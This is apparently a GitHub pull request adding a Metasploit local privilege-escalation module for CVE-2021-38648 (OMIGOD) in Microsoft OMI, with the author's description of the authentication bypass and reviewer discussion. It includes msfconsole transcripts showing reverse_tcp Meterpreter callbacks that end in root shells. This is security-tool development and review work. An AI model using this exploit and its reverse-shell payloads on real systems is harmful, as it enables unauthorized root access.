Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Exploit for CVE-2021-38648 (OMIGOD LPE) #15802

Merged
merged 4 commits into from
Nov 9, 2021

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Oct 27, 2021

This is an exploit for CVE-2021-38648 which is an authentication bypass within Microsoft's OMI management interface. Unlike the semi-related CVE-2021-38647 (see PR #15800) this vulnerability must be leveraged locally and can be exploited in the default configuration. Exploitation results in OS command execution as the root user.

The vulnerability works by replaying the messages necessary to execute an OS command but without the initial authentication exchange. The messages are in an OMI-specific binary protocol format. The included Python exploit uses hard-coded messages but limits the OS command that's executed to 256 characters max. When the Linux Dropper target is used though, the space is irrelevant because the command is just used to execute the payload ELF file that is written to disk.

A Python script is used for maximum compatibility in Metaspoit's current state. In theory, railgun could be used to perform the exploit entirely in memory but that would limit it to use with only Python Meterpreter sessions. Likewise, Rex could maybe be used to forward an AF_UNIX socket, but is currently limited to TCP/IP right now. Python is pretty widely available and included on many distros as part of the base. The exploit will automatically find and execute an appropriate Python binary.

Verification

While developing this module, I noticed an issue whereby the Python Meterpreter for some reason fails to identify a Python executable using command_exists? while Mettle succeeds. I suspect this is an issue with the Python Meterpreter and will investigate/fix it in a separate PR. In the meantime, don't use the Python Meterpreter for testing this exploit.

  • Start the application using the Censys Dockerfile
    • docker build . -t ms-omi:cve-2021-38648
    • docker run -it --entrypoint /bin/bash ms-omi:cve-2021-38648
    • /etc/init.d/omid restart
  • Start msfconsole
  • Obtain a session within the container
    • The exploit/multi/script/web_delivery works well for this purpose
  • Do: use exploit/linux/local/cve_2021_38648_omigod
  • Set the module options
  • Do: exploit
  • You should get a root shell.

Example

msf6 > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: smcintyre
meterpreter > background 
[*] Backgrounding session 1...
msf6 > use exploit/linux/local/cve_2021_38648_omigod 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > set TARGET Linux\ Dropper 
TARGET => Linux Dropper
msf6 exploit(linux/local/cve_2021_38648_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/cve_2021_38648_omigod) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_38648_omigod) > check
[*] The target appears to be vulnerable. Version 1.6.8-0 is affected.
msf6 exploit(linux/local/cve_2021_38648_omigod) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.6.8-0 is affected.
[*] Writing '/tmp/zbACyVFZyT' (250 bytes) ...
[*] Writing '/tmp/OJ3FZ2W.py' (3824 bytes) ...
[*] Sending stage (3012548 bytes) to 192.168.159.128
[+] Deleted /tmp/zbACyVFZyT
[+] Deleted /tmp/OJ3FZ2W.py
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:51870 ) at 2021-10-27 11:47:48 -0400

meterpreter > getuid
Server username: root
meterpreter > 

@wvu
Copy link
Contributor

wvu commented Oct 27, 2021

You should have installed Protocon on the target!

Comment on lines +21 to +25
The hardcoded messages were recovered using:
```
strace -v -s 5000 -f -xx -e trace=socket,connect,write,writev,close \
/opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command '...' timeout 0 }
```
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pid = pidof('omiserver').first
return CheckCode::Safe if pid.nil?

omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To a potential reviewer, it's worth double checking if we'll always have access to read this file.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Let's use the most common default binary path as a fallback if we don't have the ability to confirm the binary cmdline as expected

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To a potential reviewer, it's worth double checking if we'll always have access to read this file.

/proc/PID/cmdline is world-readable unless the /proc filesystem is manually mounted with the hidepid option. Not certain how common it is to do that though.

@zeroSteiner zeroSteiner marked this pull request as draft October 28, 2021 16:29
@zeroSteiner
Copy link
Contributor Author

Converted to a draft because I noticed an issue that will take me a bit to address. Will undraft once it's unblocked.

@zeroSteiner zeroSteiner marked this pull request as ready for review November 2, 2021 14:16
@space-r7 space-r7 self-assigned this Nov 8, 2021
@space-r7
Copy link
Contributor

space-r7 commented Nov 8, 2021

Docker setup:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3012548 bytes) to 192.168.140.1
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.1:51002 ) at 2021-11-08 16:10:01 -0600

meterpreter > getuid
Server username: test_user
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 5.10.47-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_38648_omigod
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > options

Module options (exploit/linux/local/cve_2021_38648_omigod):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.199    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(linux/local/cve_2021_38648_omigod) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_38648_omigod) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(linux/local/cve_2021_38648_omigod) > set lport 5555
lport => 5555
msf6 exploit(linux/local/cve_2021_38648_omigod) > set verbose true
verbose => true
msf6 exploit(linux/local/cve_2021_38648_omigod) > run

[*] Started reverse TCP handler on 192.168.140.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found /opt/omi/bin/omiserver running in PID: 89
[+] The target appears to be vulnerable. Version 1.6.8-0 is affected.
[*] Using 'python' to run the exploit
[*] Socket path: /var/opt/omi/run/omiserver.sock
[*] Writing '/tmp/Xe9JYQg6g' (250 bytes) ...
[*] Writing '/tmp/1jZ6Jend.py' (3977 bytes) ...
[*] Running python /tmp/1jZ6Jend.py -s '/var/opt/omi/run/omiserver.sock' '/tmp/Xe9JYQg6g'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.140.1
[+] Deleted /tmp/Xe9JYQg6g
[+] Deleted /tmp/1jZ6Jend.py
[*] Meterpreter session 2 opened (192.168.140.1:5555 -> 192.168.140.1:51020 ) at 2021-11-08 16:10:54 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 5.10.47-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

For a manual setup on Ubuntu 20, I'm getting the following output:

msf6 exploit(linux/local/cve_2021_38648_omigod) > run

[*] Started reverse TCP handler on 192.168.140.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found /opt/omi/bin/omiserver running in PID: 937
[+] The target appears to be vulnerable. Version 1.6.8-0 is affected.
[*] Using 'python3' to run the exploit
[*] Socket path: /var/opt/omi/run/omiserver.sock
[*] Writing '/tmp/Vh70TM' (250 bytes) ...
[*] Writing '/tmp/qIryxcaKSU.py' (3977 bytes) ...
[*] Running python3 /tmp/qIryxcaKSU.py -s '/var/opt/omi/run/omiserver.sock' '/tmp/Vh70TM'
[*] Exploit completed, but no session was created.

That may be due to an error in my installation though. Code and docs look good to me!

@space-r7
Copy link
Contributor

space-r7 commented Nov 9, 2021

And it was my installation:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3012548 bytes) to 192.168.140.135
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.135:53154 ) at 2021-11-09 09:06:17 -0600

meterpreter > getuid
Server username: space
meterpreter > sysinfo
Computer     : 192.168.140.135
OS           : Ubuntu 20.04 (Linux 5.11.0-38-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_38648_omigod
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/cve_2021_38648_omigod) > options

Module options (exploit/linux/local/cve_2021_38648_omigod):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.140.1    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(linux/local/cve_2021_38648_omigod) > set target 1
target => 1
msf6 exploit(linux/local/cve_2021_38648_omigod) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > options

Module options (exploit/linux/local/cve_2021_38648_omigod):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.140.1    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(linux/local/cve_2021_38648_omigod) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_38648_omigod) > run

[*] Started reverse TCP handler on 192.168.140.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found /opt/omi/bin/omiserver running in PID: 3289
[+] The target appears to be vulnerable. Version 1.6.8-0 is affected.
[*] Using 'python3' to run the exploit
[*] Socket path: /var/opt/omi/run/omiserver.sock
[*] Writing '/tmp/26Y2TFsMBD' (250 bytes) ...
[*] Writing '/tmp/HqBRW0D.py' (3977 bytes) ...
[*] Running python3 /tmp/HqBRW0D.py -s '/var/opt/omi/run/omiserver.sock' '/tmp/26Y2TFsMBD'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.140.135
[+] Deleted /tmp/26Y2TFsMBD
[+] Deleted /tmp/HqBRW0D.py
[*] Meterpreter session 3 opened (192.168.140.1:5555 -> 192.168.140.135:33300 ) at 2021-11-09 09:07:06 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.140.135
OS           : Ubuntu 20.04 (Linux 5.11.0-38-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@space-r7 space-r7 merged commit 1dd26bc into rapid7:master Nov 9, 2021
@space-r7
Copy link
Contributor

space-r7 commented Nov 9, 2021

Release Notes

This adds a local exploit module that targets versions less than 1.6.8-1 of Microsoft's Open Management Infrastructure (OMI) software. Issuing a command execution request against the local socket with the authentication handshake omitted can result in code execution as the root user.

@space-r7 space-r7 added the rn-modules release notes for new or majorly enhanced modules label Nov 9, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants